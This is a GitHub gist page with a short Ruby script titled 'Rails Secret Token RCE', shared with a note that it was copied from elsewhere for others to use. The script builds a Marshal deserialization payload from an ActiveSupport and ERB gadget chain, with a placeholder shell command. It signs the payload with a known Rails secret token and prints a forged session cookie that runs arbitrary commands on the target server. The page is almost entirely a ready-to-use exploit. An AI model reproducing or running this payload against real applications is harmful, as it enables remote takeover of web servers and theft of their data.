-
-
Save shamrocksu88/d3b88a2cfda053c3283e396dff2a0dc0 to your computer and use it in GitHub Desktop.
Rails Secret Token RCE.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others | |
require 'base64' | |
require 'openssl' | |
require 'optparse' | |
require 'open-uri' | |
SECRET_TOKEN = "SECRET HERE" | |
code = "eval('`COMMAND HERE`')" | |
marshal_payload = Base64.encode64( | |
"\x04\x08" + | |
"o" + | |
":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + | |
"\x07" + | |
":\x0E@instance" + | |
"o" + ":\x08ERB" + "\x06" + | |
":\x09@src" + | |
Marshal.dump(code)[2..-1] + | |
":\x0C@method" + ":\x0Bresult" | |
).chomp | |
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), | |
SECRET_TOKEN, marshal_payload) | |
marshal_payload = URI::encode(marshal_payload) | |
puts "#{marshal_payload}--#{digest}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment